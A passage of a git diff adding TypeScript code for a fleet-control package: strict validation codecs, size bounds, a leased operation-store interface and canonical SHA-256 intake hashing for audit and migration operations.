+      candidate.status !== 'failed' &&
+      !admitted) ||
+    admitted !== (candidate.plan !== undefined) ||
+    admitted !== (candidate.planCursor !== undefined)
+  ) {
+    return malformed();
+  }
+  let plan: readonly FleetMigrationPlanEntry[] | undefined;
+  if (admitted) {
+    if (
+      !fleetOperationSha256(candidate.targetSpecDigest) ||
+      !Array.isArray(candidate.plan) ||
+      candidate.plan.length === 0 ||
+      candidate.plan.length > FLEET_MIGRATION_PLAN_BOUND ||
+      !fleetOperationSafeInteger(candidate.planCursor)
+    ) {
+      return malformed();
+    }
+    plan = candidate.plan.map(fleetMigrationPlanEntryFromUnknown);
+    if (
+      candidate.planCursor > plan.length ||
+      (candidate.status === 'active' && candidate.planCursor >= plan.length) ||
+      (candidate.status === 'complete' && candidate.planCursor !== plan.length)
+    ) {
+      return malformed();
+    }
+  }
+  return {
+    ordinal: candidate.ordinal,
+    tenantTag: candidate.tenantTag,
+    environment: candidate.environment,
+    ...(candidate.canaryRank === undefined
+      ? {}
+      : { canaryRank: candidate.canaryRank }),
+    entryRecordDigest: candidate.entryRecordDigest,
+    ...(admitted
+      ? {
+          targetSpecDigest: candidate.targetSpecDigest as string,
+          plan: plan as readonly FleetMigrationPlanEntry[],
+          planCursor: candidate.planCursor as number,
+        }
+      : {}),
+    status: candidate.status,
+  };
+}
+
+export function fleetMigrationProgressFromUnknown(
+  value: unknown,
+): FleetMigrationProgress {
+  const candidate = fleetOperationPlainRecord(value);
+  assertFleetOperationExactKeys(
+    candidate,
+    [
+      'kind',
+      'revision',
+      'itemCount',
+      'activeItemOrdinal',
+      'completedItemCount',
+    ],
+    ['failure'],
+  );
+  if (
+    candidate.kind !== 'migration' ||
+    !fleetOperationSafeInteger(candidate.revision) ||
+    !fleetOperationSafeInteger(candidate.itemCount) ||
+    candidate.itemCount > FLEET_OPERATION_ITEM_BOUND ||
+    !fleetOperationSafeInteger(candidate.activeItemOrdinal) ||
+    candidate.activeItemOrdinal > candidate.itemCount ||
+    !fleetOperationSafeInteger(candidate.completedItemCount) ||
+    candidate.completedItemCount > candidate.itemCount
+  ) {
+    return malformed();
+  }
+  const failure =
+    candidate.failure === undefined
+      ? undefined
+      : fleetOperationFailureFromUnknown(candidate.failure);
+  return {
+    kind: 'migration',
+    revision: candidate.revision,
+    itemCount: candidate.itemCount,
+    activeItemOrdinal: candidate.activeItemOrdinal,
+    completedItemCount: candidate.completedItemCount,
+    ...(failure === undefined ? {} : { failure }),
+  };
+}
+
+export function fleetMigrationOperationRecordFromUnknown(
+  value: unknown,
+): FleetOperationRunRecord & Readonly<{ progress: FleetMigrationProgress }> {
+  const record = fleetOperationRunRecordFromUnknown(value);
+  if (record.kind !== 'migration') return malformed();
+  return {
+    ...record,
+    progress: fleetMigrationProgressFromUnknown(record.progress),
+  };
+}
diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts
new file mode 100644
index 00000000..dcd84b3c
--- /dev/null
+++ b/packages/fleet-control/src/fleet-operation-state.ts
@@ -0,0 +1,934 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { cloneBoundedPlainData } from './strict-plain-data.js';
+
+/**
+ * Envelope bound for one operation RUN RECORD — the `{version, operationId,
+ * kind, state, progress, updatedAt, terminalAtMs?}` document
+ * `fleetOperationRunRecordFromUnknown` parses. Not a staged-row bound.
+ */
+export const FLEET_OPERATION_RECORD_BYTE_BOUND = 96 * 1024;
+export const FLEET_OPERATION_TOKEN_BYTE_BOUND = 1024;
+export const FLEET_OPERATION_STRING_BYTE_BOUND = 4096;
+/** Envelope bound for a `finding`, `fact`, or `item` staged-row payload. */
+export const FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND = 16 * 1024;
+/**
+ * Envelope bound for a `record` STAGED-ROW payload — one caller-supplied
+ * fleet record. It currently holds the same value as
+ * `FLEET_OPERATION_RECORD_BYTE_BOUND`, but neither is derived from the other:
+ * that one bounds the run-record document, this one bounds a staged row.
+ * Picking the wrong one type-checks and passes every test.
+ */
+export const FLEET_OPERATION_RECORD_ROW_BYTE_BOUND = 96 * 1024;
+/** Maximum nesting depth of one bounded plain-data value. */
+export const FLEET_OPERATION_DEPTH_BOUND = 64;
+/** Maximum node count of one bounded plain-data value. */
+export const FLEET_OPERATION_NODE_BOUND = 8192;
+export const FLEET_OPERATION_ITEM_BOUND = 10_000;
+/**
+ * Total canonical intake bytes per operation, measured as the sum of per-item
+ * canonical bytes. Item depth and node bounds apply per item; no aggregate
+ * node bound exists. The operative per-call memory envelope also includes the
+ * materialized inventory generation.
+ */
+export const FLEET_OPERATION_INTAKE_BYTE_BOUND = 16 * 1024 * 1024;
+/** Statements per D1 batch used by the staging protocol. */
+export const FLEET_OPERATION_STAGE_BATCH_STATEMENTS = 100;
+/**
+ * Per-kind cap on the non-`record` staged rows one read may return: at most
+ * 99 rows per record times 10,000 records. The 99 is the per-record batch
+ * ceiling the audit coordinator enforces over the `finding` and `fact` rows
+ * one record emits together, the remaining statement of the batch being the
+ * run record's own update. It derives no bound for a global stage's
+ * findings, nor for the migration coordinator's `item` rows, where this
+ * constant is a plain ceiling rather than a derived bound.
+ */
+export const FLEET_OPERATION_ROW_READ_BOUND =
+  (FLEET_OPERATION_STAGE_BATCH_STATEMENTS - 1) * FLEET_OPERATION_ITEM_BOUND;
+/**
+ * Rows requested per page by `readAllFleetOperationRows`. The guide's
+ * documented aggregate O(records²/1,000) re-page term is this divisor, so
+ * changing it changes that published cost figure.
+ */
+const FLEET_OPERATION_ROW_PAGE_LIMIT = 1_000;
+/** Frozen plan length cap (fixed steps plus pending D1 versions). */
+export const FLEET_MIGRATION_PLAN_BOUND = 64;
+
+const UUID_V4 =
+  /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u;
+const CREDENTIAL_SUBSTRINGS = Object.freeze([
+  'authorization',
+  'bearer',
+  'x-auth',
+  'api_token',
+]);
+const STRUCTURED_CLONE = structuredClone;
+
+export const FLEET_OPERATION_KINDS = Object.freeze([
+  'audit',
+  'migration',
+] as const);
+/** @useDeclaredType */
+export type FleetOperationKind = (typeof FLEET_OPERATION_KINDS)[number];
+/** Every staged row kind. */
+export const FLEET_OPERATION_ROW_KINDS = Object.freeze([
+  'record',
+  'finding',
+  'item',
+  'fact',
+] as const);
+/** @useDeclaredType */
+export type FleetOperationRowKind = (typeof FLEET_OPERATION_ROW_KINDS)[number];
+
+export interface FleetOperationToken {
+  readonly version: 1;
+  readonly operationId: string;
+  readonly revision: number;
+}
+
+export interface FleetOperationProgress {
+  readonly kind: FleetOperationKind;
+  readonly revision: number;
+  readonly failure?: FleetOperationFailure;
+}
+
+export interface FleetOperationFailure {
+  readonly reason:
+    | 'item-failed'
+    | 'target-drift'
+    | 'emission-bound-exceeded'
+    | 'generation-unavailable'
+    | 'operator-abandoned';
+  readonly itemOrdinal?: number;
+}
+
+export interface FleetOperationRunRecord {
+  readonly version: 1;
+  readonly operationId: string;
+  readonly kind: FleetOperationKind;
+  readonly state: 'running' | 'finalized' | 'failed';
+  readonly progress: FleetOperationProgress;
+  readonly updatedAt: string;
+  readonly terminalAtMs?: number;
+}
+
+export interface FleetOperationStagedRow {
+  readonly rowKind: FleetOperationRowKind;
+  readonly ordinal: number;
+  readonly payload: Readonly<Record<string, unknown>>;
+}
+
+/** The argument bag `fleetOperationItemsIntake` takes; not its result. */
+export interface FleetOperationItemsIntakeInput {
+  readonly envelope: Readonly<Record<string, unknown>>;
+  readonly items: readonly unknown[];
+  readonly itemByteBound: number;
+}
+
+/**
+ * Why an intake was refused. `itemOrdinal` names the offending item for the
+ * per-item reasons; the audit coordinator maps every reason to a fixed
+ * message and does not read it, but it is carried so the migration intake —
+ * which refuses one item out of a batch — can report which.
+ */
+export type FleetOperationIntakeRefusal =
+  | { readonly reason: 'item-count' }
+  | { readonly reason: 'item-structure'; readonly itemOrdinal: number }
+  | { readonly reason: 'item-bytes'; readonly itemOrdinal: number }
+  | { readonly reason: 'aggregate-bytes' };
+
+export class FleetOperationStateError extends Error {
+  constructor() {
+    super('fleet operation state is malformed');
+    this.name = 'FleetOperationStateError';
+  }
+}
+
+export class FleetOperationTokenError extends Error {
+  constructor() {
+    super('fleet operation token is malformed');
+    this.name = 'FleetOperationTokenError';
+  }
+}
+
+export class FleetOperationTokenOperationError extends Error {
+  constructor(readonly operationId: string) {
+    super(`no fleet operation '${operationId}'`);
+    this.name = 'FleetOperationTokenOperationError';
+  }
+}
+
+export class FleetOperationTokenKindError extends Error {
+  constructor() {
+    super('fleet operation token targets another operation kind');
+    this.name = 'FleetOperationTokenKindError';
+  }
+}
+
+export class FleetOperationTokenFutureError extends Error {
+  constructor() {
+    super('fleet operation token is ahead of the persisted operation');
+    this.name = 'FleetOperationTokenFutureError';
+  }
+}
+
+export class FleetOperationStoreCapabilityError extends Error {
+  constructor() {
+    super(
+      'fleet operation store requires an inventory store to release audit pins',
+    );
+    this.name = 'FleetOperationStoreCapabilityError';
+  }
+}
+
+/**
+ * The fixed refusal message raised when a persisted operation carries the
+ * other operation kind. It lives here so that the audit coordinator's sites,
+ * `D1FleetOperationStore`'s start probe and its two terminal probes, and the
+ * migration coordinator all emit byte-identical text.
+ */
+export function fleetOperationOtherKindMessage(operationId: string): string {
+  return `fleet operation '${operationId}' belongs to the other operation kind`;
+}
+
+/**
+ * The fixed refusal message raised when `failOperation` is handed more than
+ * one `updateRows` entry. It lives here so that `D1FleetOperationStore` and
+ * every store double emit byte-identical text.
+ */
+export const FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE =
+  'failOperation accepts at most one updateRow';
+
+/**
+ * The fixed refusal message raised when a `commitProgress` insert below a
+ * claimed watermark is not the contiguous run ending at it. It lives here so
+ * that `D1FleetOperationStore` and every store double emit byte-identical
+ * text for one row kind.
+ */
+export function fleetOperationWatermarkRunMessage(
+  rowKind: FleetOperationRowKind,
+): string {
+  return `commitProgress ${rowKind} rows below the watermark must be the contiguous run ending at it`;
+}
+
+/**
+ * The page size a store serves for a caller's `limit`: the requested size up
+ * to `FLEET_OPERATION_ROW_PAGE_LIMIT`, and that ceiling above it, so a caller
+ * asking for a larger page reads the largest page a store serves instead of
+ * losing the read to a refusal. A `limit` that is not a safe integer of at
+ * least 1 refuses.
+ */
+export function fleetOperationPageLimit(limit: number): number {
+  if (!Number.isSafeInteger(limit) || limit < 1) {
+    throw new Error('limit must be an integer of at least 1');
+  }
+  return Math.min(limit, FLEET_OPERATION_ROW_PAGE_LIMIT);
+}
+
+export interface FleetOperationStore {
+  /**
+   * Runs `operation` under an account-wide exclusive lease for one operation
+   * kind. The lease is acquired before the callback runs and released after
+   * the returned promise settles, whether it resolves or rejects, and the
+   * promise this method returns settles only after that release completes, so
+   * a caller that awaits it holds no lease when the next call takes one.
+   * Contention is refused, not queued: a caller that cannot take the lease
+   * receives an error rather than waiting for the holder.
+   */
+  withAccountOperationLease<T>(
+    kind: FleetOperationKind,
+    operation: (lease: FleetOperationLease) => Promise<T>,
+  ): Promise<T>;
+  /**
+   * Reads the persisted run record outside any lease. A missing operation is
+   * reported as `undefined`, not as an error; a present but unparseable one
+   * still refuses through the run-record codec.
+   */
+  readOperationById(
+    operationId: string,
+  ): Promise<FleetOperationRunRecord | undefined>;
+  /**
+   * Reads at most `limit` rows of the requested kind whose ordinal is strictly
+   * greater than the exclusive `afterOrdinal`; an absent cursor starts at the
+   * beginning. `done` means no matching rows remain beyond this page. Callers
+   * do not rely on the ordering of rows within a page. A page contains the
+   * smallest qualifying ordinals; omitting a row whose ordinal is below one
+   * the page returns is non-conforming. An implementation must accept any
+   * `limit` from 1 through 1,000 and serves a larger one at 1,000 — the one
+   * documented ceiling — so a `limit` above the ceiling costs the caller the
+   * rows beyond it rather than the read. A `limit` that is not a safe integer
+   * of at least 1 refuses. The upper end is a hard requirement, not a
+   * preference: `readAllFleetOperationRows` passes this module's
+   * `FLEET_OPERATION_ROW_PAGE_LIMIT` — 1,000, and unexported, so the bound is
+   * restated here as a literal — as the `limit` on every page it requests,
+   * with no negotiation, so a store supporting a narrower range throws on
+   * every whole-set row read.
+   */
+  readOperationRowsPage(
+    input: Readonly<{
+      operationId: string;
+      rowKind: FleetOperationRowKind;
+      afterOrdinal?: number;
+      limit: number;
+    }>,
+  ): Promise<
+    Readonly<{
+      rows: readonly FleetOperationStagedRow[];
+      done: boolean;
+    }>
+  >;
+  /**
+   * Deletes up to `limit` prunable terminal operations of one kind and reports
+   * the deletion count beside `releasedPins`, the number of pin-release CALLS
+   * the pass made. One such call is issued per audit candidate whether or not
+   * that operation still holds a pin, the release being a no-op when it does
+   * not, so the counter reports audit candidates rather than reclaimed pins and
+   * stays 0 for `kind: 'migration'`. Which terminal operations are prunable is
+   * the implementation's own retention policy — it must never delete one that
+   * is still an active head.
+   */
+  pruneFleetOperations(
+    input: Readonly<{
+      kind: FleetOperationKind;
+      limit: number;
+    }>,
+  ): Promise<Readonly<{ deleted: number; releasedPins: number }>>;
+}
+
+/**
+ * The {@link FleetOperationStore} members a bounded advance coordinator calls
+ * and gates an injected store on. It lives here so that a coordinator reads
+ * the port's own list rather than restating it.
+ */
+export const FLEET_OPERATION_STORE_ADVANCE_MEMBERS = Object.freeze([
+  'withAccountOperationLease',
+  'readOperationById',
+  'readOperationRowsPage',
+] as const satisfies readonly (keyof FleetOperationStore)[]);
+
+export interface FleetOperationLease {
+  /**
+   * Throws unless this lease is still held, so a coordinator that is about to
+   * do durable work can fail closed on a lost lease instead of racing the new
+   * holder.
+   */
+  assertOwned(): Promise<void>;
+  /**
+   * Creates the operation, or adopts an existing one of the same id. The
+   * outcome is `created` for a new operation, `adopted-running` when an
+   * operation with a matching `intakeDigest` is already RUNNING, and
+   * `adopted-terminal` when it has already finished; `record` is the
+   * authoritative run record in every case. A different `intakeDigest` for
+   * the same id is a conflict the implementation refuses.
+   */
+  startOperation(
+    input: Readonly<{
+      operationId: string;
+      kind: FleetOperationKind;
+      runRecord: FleetOperationRunRecord;
+      intakeDigest: string;
+    }>,
+  ): Promise<
+    Readonly<{
+      outcome: 'created' | 'adopted-running' | 'adopted-terminal';
+      record: FleetOperationRunRecord;
+    }>
+  >;
+  /**
+   * The read available while holding the lease; `undefined` when no such
+   * operation exists. Implementations may serve it from the same unleased row
+   * read as `readOperationById`.
+   */
+  readOperation(
+    operationId: string,
+  ): Promise<FleetOperationRunRecord | undefined>;
+  /**
+   * Appends staged rows without advancing the revision, refusing unless the
+   * persisted revision still equals `expectedRevision`. Existing keys must
+   * retain byte-identical payloads. A conflicting key rolls back its batch;
+   * earlier completed batches remain staged.
+   *
+   * WRITER OBLIGATION: rows must be supplied in ascending ordinal order
+   * within each row kind, and the implementation must persist them in array
+   * order. `readAllFleetOperationRows`'s contiguity assertion is correct only
+   * because both halves hold — a batch persisted out of order can leave a gap
+   * visible to a reader that pages mid-write.
+   */
+  stageRows(
+    input: Readonly<{
+      operationId: string;
+      expectedRevision: number;
+      rows: readonly FleetOperationStagedRow[];
+    }>,
+  ): Promise<void>;
+  /**
+   * Advances `expectedRevision` to `runRecord` with staged row mutations.
+   * Existing `rows` keys must have byte-identical payloads; `updateRows`
+   * requires existing `item` targets. A mismatching insert or missing update
+   * target refuses progress and sibling row mutations.
+   *
+   * For each `expectedRowWatermarks` kind, the first N ordinals must be
+   * present after the write. Supplied inserts below that watermark must form
+   * the contiguous run ending at it; higher staged ordinals remain available
+   * to a later transition.
+   *
+   * Returns the persisted intended record. A replay must retain stable JSON
+   * key order to converge after an uncertain response.
+   */
+  commitProgress(
+    input: Readonly<{
+      operationId: string;
+      expectedRevision: number;
+      runRecord: FleetOperationRunRecord;
+      rows?: readonly FleetOperationStagedRow[];
+      updateRows?: readonly FleetOperationStagedRow[];
+      expectedRowWatermarks?: Readonly<
+        Partial<Record<FleetOperationRowKind, number>>
+      >;
+    }>,
+  ): Promise<FleetOperationRunRecord>;
+  /**
+   * The same CAS as `commitProgress`, moving the operation to FINALIZED and
+   * stamping its terminal time. `expectedRowCounts` asserts the FINAL row
+   * count per kind, so a run that lost or double-wrote rows cannot finalize.
+   * `requireAllItemsComplete` additionally demands that the number of `item`
+   * rows in a complete state equals the progress item count — the per-item
+   * migration contract, unused by the audit coordinator. Returns the
+   * persisted terminal record.
+   */
+  finalizeOperation(
+    input: Readonly<{
+      operationId: string;
+      expectedRevision: number;
+      runRecord: FleetOperationRunRecord;
+      expectedRowCounts: Readonly<
+        Partial<Record<FleetOperationRowKind, number>>
+      >;
+      requireAllItemsComplete?: boolean;
+    }>,
+  ): Promise<FleetOperationRunRecord>;
+  /**
+   * The same CAS, moving the operation to FAILED. Staged rows are kept so a
+   * failed operation stays readable; `updateRows` replaces one `item` row's
+   * payload in the same transaction.
+   *
+   * Supply at most one update row: the item named by the failure.
+   */
+  failOperation(
+    input: Readonly<{
+      operationId: string;
+      expectedRevision: number;
+      runRecord: FleetOperationRunRecord;
+      updateRows?: readonly FleetOperationStagedRow[];
+    }>,
+  ): Promise<void>;
+}
+
+/** Rejects malformed durable operation state with FleetOperationStateError. */
+export function malformed(): never {
+  throw new FleetOperationStateError();
+}
+
+const TEXT_ENCODER = new TextEncoder();
+
+/** UTF-8 byte length of one string, over a module-level encoder. */
+export function utf8Length(value: string): number {
+  return TEXT_ENCODER.encode(value).byteLength;
+}
+
+export function fleetOperationTextHasControlBytes(value: string): boolean {
+  for (const character of value) {
+    const codePoint = character.codePointAt(0);
+    if (
+      codePoint !== undefined &&
+      (codePoint <= 0x1f || (codePoint >= 0x7f && codePoint <= 0x9f))
+    ) {
+      return true;
+    }
+  }
+  return false;
+}
+
+export function fleetOperationSafeInteger(
+  value: unknown,
+  minimum = 0,
+): value is number {
+  return Number.isSafeInteger(value) && Number(value) >= minimum;
+}
+
+export function fleetOperationPlainRecord(
+  value: unknown,
+): Record<string, unknown> {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) {
+    return malformed();
+  }
+  return value as Record<string, unknown>;
+}
+
+export function assertFleetOperationExactKeys(
+  value: Record<string, unknown>,
+  required: readonly string[],
+  optional: readonly string[] = [],
+): void {
+  const allowed = new Set([...required, ...optional]);
+  if (
+    !required.every((key) => Object.hasOwn(value, key)) ||
+    Object.keys(value).some((key) => !allowed.has(key))
+  ) {
+    malformed();
+  }
+}
+
+export function fleetOperationSha256(value: unknown): value is string {
+  return typeof value === 'string' && /^[0-9a-f]{64}$/u.test(value);
+}
+
+function canonicalIso(value: unknown): value is string {
+  return (
+    typeof value === 'string' &&
+    Number.isFinite(Date.parse(value)) &&
+    new Date(value).toISOString() === value
+  );
+}
+
+function fleetOperationBoundedPlain(value: unknown, maxBytes: number): unknown {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: FLEET_OPERATION_DEPTH_BOUND,
+      maxNodes: FLEET_OPERATION_NODE_BOUND,
+      maxScalarBytes: maxBytes,
+      maxSerializedBytes: maxBytes,
+      error: () => new FleetOperationStateError(),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    return malformed();
+  }
+  // The string and key walk runs outside the try because it operates on the
+  // already-cloned plain tree — no getters, no cycles — and because its own
+  // `malformed()` calls would otherwise throw into a catch that only calls
+  // `malformed()` again.
+  const pending = [plain];
+  while (pending.length > 0) {
+    const current = pending.pop();
+    if (
+      typeof current === 'string' &&
+      utf8Length(current) > FLEET_OPERATION_STRING_BYTE_BOUND
+    ) {
+      return malformed();
+    }
+    // The spread is bounded: `cloneBoundedPlainData` charges every value of
+    // the document against one budget of `FLEET_OPERATION_NODE_BOUND` nodes
+    // and admits no array longer than the budget still unspent, so an array
+    // reaching this walk holds fewer elements than that bound — far below the
+    // engine's argument limit, so the spread cannot raise the `RangeError`
+    // that would escape this walk unconverted.
+    if (Array.isArray(current)) pending.push(...current);
+    else if (current && typeof current === 'object') {
+      for (const [key, entry] of Object.entries(current)) {
+        if (utf8Length(key) > FLEET_OPERATION_STRING_BYTE_BOUND) {
+          return malformed();
+        }
+        pending.push(entry);
+      }
+    }
+  }
+  return plain;
+}
+
+function stagedRowMaxBytes(rowKind: FleetOperationRowKind): number {
+  return rowKind === 'record'
+    ? FLEET_OPERATION_RECORD_ROW_BYTE_BOUND
+    : FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND;
+}
+
+/**
+ * Tests a payload against the exact predicates the staged-row codec enforces:
+ * the bounded-plain walk AND the plain-record check, so a bounded plain array
+ * cannot pass this preflight and then fail `fleetOperationStagedRowFromUnknown`.
+ */
+export function fleetOperationStagedRowPayloadFitsEnvelope(
+  rowKind: FleetOperationRowKind,
+  payload: unknown,
+): boolean {
+  try {
+    fleetOperationPlainRecord(
+      fleetOperationBoundedPlain(payload, stagedRowMaxBytes(rowKind)),
+    );
+    return true;
+  } catch {
+    // Both helpers normalize every violation to this false path.
+    return false;
+  }
+}
+
+export function fleetOperationFailureFromUnknown(
+  value: unknown,
+): FleetOperationFailure {
+  const candidate = fleetOperationPlainRecord(value);
+  assertFleetOperationExactKeys(candidate, ['reason'], ['itemOrdinal']);
+  if (
+    candidate.reason !== 'item-failed' &&
+    candidate.reason !== 'target-drift' &&
+    candidate.reason !== 'emission-bound-exceeded' &&
+    candidate.reason !== 'generation-unavailable' &&
+    candidate.reason !== 'operator-abandoned'
+  ) {
+    return malformed();
+  }
+  if (
+    candidate.itemOrdinal !== undefined &&
+    (!fleetOperationSafeInteger(candidate.itemOrdinal) ||
+      candidate.itemOrdinal >= FLEET_OPERATION_ITEM_BOUND)
+  ) {
+    return malformed();
+  }
+  return {
+    reason: candidate.reason,
+    ...(candidate.itemOrdinal === undefined
+      ? {}
+      : { itemOrdinal: candidate.itemOrdinal }),
+  };
+}
+
+function progressEnvelopeFromUnknown(value: unknown): FleetOperationProgress {
+  const candidate = fleetOperationPlainRecord(value);
+  if (
+    !FLEET_OPERATION_KINDS.includes(candidate.kind as FleetOperationKind) ||
+    !fleetOperationSafeInteger(candidate.revision)
+  ) {
+    return malformed();
+  }
+  return {
+    ...candidate,
+    kind: candidate.kind as FleetOperationKind,
+    revision: candidate.revision,
+    ...(candidate.failure === undefined
+      ? {}
+      : { failure: fleetOperationFailureFromUnknown(candidate.failure) }),
+  } as FleetOperationProgress;
+}
+
+/** Strict operation envelope codec; kind-specific fields remain bounded data. */
+export function fleetOperationRunRecordFromUnknown(
+  value: unknown,
+): FleetOperationRunRecord {
+  const candidate = fleetOperationPlainRecord(
+    fleetOperationBoundedPlain(value, FLEET_OPERATION_RECORD_BYTE_BOUND),
+  );
+  assertFleetOperationExactKeys(
+    candidate,
+    ['version', 'operationId', 'kind', 'state', 'progress', 'updatedAt'],
+    ['terminalAtMs'],
+  );
+  if (
+    candidate.version !== 1 ||
+    typeof candidate.operationId !== 'string' ||
+    !UUID_V4.test(candidate.operationId) ||
+    !FLEET_OPERATION_KINDS.includes(candidate.kind as FleetOperationKind) ||
+    (candidate.state !== 'running' &&
+      candidate.state !== 'finalized' &&
+      candidate.state !== 'failed') ||
+    !canonicalIso(candidate.updatedAt) ||
+    (candidate.terminalAtMs !== undefined &&
+      !fleetOperationSafeInteger(candidate.terminalAtMs))
+  ) {
+    return malformed();
+  }
+  const progress = progressEnvelopeFromUnknown(candidate.progress);
+  if (progress.kind !== candidate.kind) return malformed();
+  return {
+    version: 1,
+    operationId: candidate.operationId,
+    kind: candidate.kind as FleetOperationKind,
+    state: candidate.state,
+    progress,
+    updatedAt: candidate.updatedAt,
+    ...(candidate.terminalAtMs === undefined
+      ? {}
+      : { terminalAtMs: candidate.terminalAtMs }),
+  };
+}
+
+/** Strict staged-row envelope codec with the larger record-row allowance. */
+export function fleetOperationStagedRowFromUnknown(
+  value: unknown,
+): FleetOperationStagedRow {
+  const candidate = fleetOperationPlainRecord(value);
+  assertFleetOperationExactKeys(candidate, ['rowKind', 'ordinal', 'payload']);
+  if (
+    typeof candidate.rowKind !== 'string' ||
+    !FLEET_OPERATION_ROW_KINDS.includes(
+      candidate.rowKind as FleetOperationRowKind,
+    ) ||
+    !fleetOperationSafeInteger(candidate.ordinal)
+  ) {
+    return malformed();
+  }
+  const rowKind = candidate.rowKind as FleetOperationRowKind;
+  const payload = fleetOperationPlainRecord(
+    fleetOperationBoundedPlain(candidate.payload, stagedRowMaxBytes(rowKind)),
+  );
+  return {
+    rowKind,
+    ordinal: candidate.ordinal,
+    payload: { ...payload },
+  };
+}
+
+/** Strict token codec; the token carries no account, kind, intake, or cursor. */
+export function parseFleetOperationToken(value: unknown): FleetOperationToken {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: 4,
+      maxNodes: 16,
+      maxScalarBytes: FLEET_OPERATION_TOKEN_BYTE_BOUND,
+      maxSerializedBytes: FLEET_OPERATION_TOKEN_BYTE_BOUND,
+      error: () => new FleetOperationTokenError(),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    throw new FleetOperationTokenError();
+  }
+  try {
+    const candidate = fleetOperationPlainRecord(plain);
+    assertFleetOperationExactKeys(candidate, [
+      'version',
+      'operationId',
+      'revision',
+    ]);
+    if (
+      candidate.version !== 1 ||
+      typeof candidate.operationId !== 'string' ||
+      !UUID_V4.test(candidate.operationId) ||
+      !fleetOperationSafeInteger(candidate.revision)
+    ) {
+      throw new FleetOperationTokenError();
+    }
+    return {
+      version: 1,
+      operationId: candidate.operationId,
+      revision: candidate.revision,
+    };
+  } catch {
+    throw new FleetOperationTokenError();
+  }
+}
+
+/** Validates caller-chosen operation identity before any store mutation. */
+export function assertFleetOperationId(value: unknown): void {
+  if (typeof value !== 'string' || !UUID_V4.test(value)) {
+    throw new Error('operationId must be a lowercase UUIDv4');
+  }
+}
+
+/**
+ * Classifies an already-parsed token against the persisted run record. The
+ * caller parses untrusted input with `parseFleetOperationToken` first; this
+ * function trusts its typed parameter and never re-parses it.
+ */
+export function classifyFleetOperationToken(
+  token: FleetOperationToken,
+  run: FleetOperationRunRecord | undefined,
+  expectedKind: FleetOperationKind,
+): 'current' | 'stale' {
+  if (!run || run.operationId !== token.operationId) {
+    throw new FleetOperationTokenOperationError(token.operationId);
+  }
+  if (run.kind !== expectedKind) throw new FleetOperationTokenKindError();
+  if (token.revision > run.progress.revision) {
+    throw new FleetOperationTokenFutureError();
+  }
+  return token.revision === run.progress.revision ? 'current' : 'stale';
+}
+
+function canonicalValue(value: unknown): unknown {
+  if (Array.isArray(value)) return value.map(canonicalValue);
+  if (value && typeof value === 'object') {
+    return Object.fromEntries(
+      Object.entries(value)
+        .sort(([left], [right]) => (left < right ? -1 : 1))
+        .map(([key, entry]) => [key, canonicalValue(entry)]),
+    );
+  }
+  return value;
+}
+
+/** Recursive sorted-key JSON used for intake digests and record rows. */
+export function canonicalFleetOperationBytes(value: unknown): string {
+  const plain = fleetOperationBoundedPlain(
+    value,
+    FLEET_OPERATION_INTAKE_BYTE_BOUND,
+  );
+  return JSON.stringify(canonicalValue(plain));
+}
+
+/**
+ * SHA-256 of one canonical value under the module's per-value structure bounds:
+ * depth 64, 8,192 nodes, and 4 KiB string values or object keys. Multi-item
+ * intakes must use `fleetOperationItemsIntake`.
+ */
+export function fleetOperationIntakeDigest(value: unknown): string {
+  return createHash('sha256')
+    .update(canonicalFleetOperationBytes(value))
+    .digest('hex');
+}
+
+/**
+ * Canonicalizes each item under the per-item depth and node bounds, then
+ * applies byte-only per-item and aggregate limits without cloning the intake
+ * as one tree. A successful result includes JSON-parsed canonical snapshots
+ * so later awaits cannot observe mutation through the caller's aliases.
+ */
+export function fleetOperationItemsIntake(
+  intake: FleetOperationItemsIntakeInput,
+):
+  | { readonly digest: string; readonly items: readonly unknown[] }
+  | FleetOperationIntakeRefusal {
+  if (intake.items.length > FLEET_OPERATION_ITEM_BOUND) {
+    return { reason: 'item-count' };
+  }
+  // The envelope is hashed without the `String(bytes) + ':'` frame every item
+  // carries, and that is deliberate. `envelope` is typed
+  // `Readonly<Record<string, unknown>>`, so its canonical text is always a
+  // JSON OBJECT, and no JSON object text is a proper prefix of another —
+  // the closing brace of one cannot fall inside another. The leading
+  // envelope is therefore already unambiguous ahead of the netstring-framed
+  // items. (The unqualified claim "canonical JSON is self-delimiting" would
+  // be false: JSON numbers are not prefix-free.)
+  const hash = createHash('sha256').update(
+    canonicalFleetOperationBytes(intake.envelope),
+  );
+  let aggregateBytes = 0;
+  const items: unknown[] = [];
+  for (const [itemOrdinal, item] of intake.items.entries()) {
+    let canonical: string;
+    try {
+      canonical = canonicalFleetOperationBytes(item);
+    } catch (error) {
+      if (!(error instanceof FleetOperationStateError)) throw error;
+      // First-true-predicate classification, not actual-cause: an item that
+      // trips several bounds is reported as `item-bytes` when a plain
+      // re-serialization is over the per-item bound and as `item-structure`
+      // otherwise. That re-serialization walks the RAW item a second time, so
+      // a caller getter runs twice on this refusal path.
+      try {
+        const serialized = JSON.stringify(item);
+        if (
+          typeof serialized === 'string' &&
+          utf8Length(serialized) > intake.itemByteBound
+        ) {
+          return { reason: 'item-bytes', itemOrdinal };
+        }
+      } catch {
+        // A throwing or circular item is a structure refusal, exactly like a
+        // serializable one that is not over the byte bound.
+      }
+      return { reason: 'item-structure', itemOrdinal };
+    }
+    const itemBytes = utf8Length(canonical);
+    if (itemBytes > intake.itemByteBound) {
+      return { reason: 'item-bytes', itemOrdinal };
+    }
+    aggregateBytes += itemBytes;
+    if (aggregateBytes > FLEET_OPERATION_INTAKE_BYTE_BOUND) {
+      return { reason: 'aggregate-bytes' };
+    }
+    hash.update(String(itemBytes)).update(':').update(canonical);
